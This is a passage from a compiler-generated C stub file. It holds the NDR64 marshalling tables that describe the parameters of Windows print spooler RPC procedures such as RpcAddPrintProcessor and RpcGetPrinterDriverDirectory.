    (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1091,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1091,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1091,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag347_t __midl_frag347 =\n{ \n/* RpcEnumPrintProcessors */\n    { \n    /* RpcEnumPrintProcessors */      /* procedure RpcEnumPrintProcessors */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag366,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag366,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag403,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pPrintProcessorInfo */      /* parameter pPrintProcessorInfo */\n        &__midl_frag653,\n        { \n        /* pPrintProcessorInfo */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag403,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag403,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag403,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag344_t __midl_frag344 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag387\n};\n\nstatic const __midl_frag337_t __midl_frag337 =\n{ \n/* RpcAddPrintProcessor */\n    { \n    /* RpcAddPrintProcessor */      /* procedure RpcAddPrintProcessor */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag366,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag387,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPathName */      /* parameter pPathName */\n        &__midl_frag387,\n        { \n        /* pPathName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pPrintProcessorName */      /* parameter pPrintProcessorName */\n        &__midl_frag387,\n        { \n        /* pPrintProcessorName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag329_t __midl_frag329 =\n{ \n/* RpcDeletePrinterDriver */\n    { \n    /* RpcDeletePrinterDriver */      /* procedure RpcDeletePrinterDriver */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag366,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag387,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDriverName */      /* parameter pDriverName */\n        &__midl_frag387,\n        { \n        /* pDriverName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag315_t __midl_frag315 =\n{ \n/* RpcGetPrinterDriverDirectory */\n    { \n    /* RpcGetPrinterDriverDirectory */      /* procedure RpcGetPrinterDriverDirectory */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag366,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag366,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag406,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDriverDirectory */      /* parameter pDriverDirectory */\n        &__midl_frag653,\n        { \n        /* pDriverDirectory */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag403,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag403,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag312_t __midl_frag312 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag406\n};\n\nstatic const __midl_frag302_t __midl_frag302 =\n{ \n/* RpcGetPrinterDriver */\n    { \n    /* RpcGetPrinterDriver */      /* procedure RpcGetPrinterDriver */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag827,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag644,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1087,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDriver */      /* parameter pDriver */\n        &__midl_frag653,\n        { \n        /* pDriver */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag406,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag406,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag406,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag284_t __midl_frag284 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag265\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag268\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag277\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag281\n    }\n};\n\nstatic const __midl_frag282_t __midl_frag282 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 196 /* 0xc4 */\n    }\n};\n\nstatic const __midl_frag281_t __midl_frag281 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag282\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag1042\n    }\n};\n\nstatic const __midl_frag278_t __midl_frag278 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 168 /* 0xa8 */\n    }\n};\n\nstatic const __midl_frag277_t __midl_frag277 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag278\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag1042\n    }\n};\n\nstatic const __midl_frag269_t __midl_frag269 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 88 /* 0x58 */\n    }\n};\n\nstatic const __midl_frag268_t __midl_frag268 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag269\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag1042\n    }\n};\n\nstatic const __midl_frag266_t __midl_frag266 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 72 /* 0x48 */\n    }\n};\n\nstatic const __midl_frag265_t __midl_frag265 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag266\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        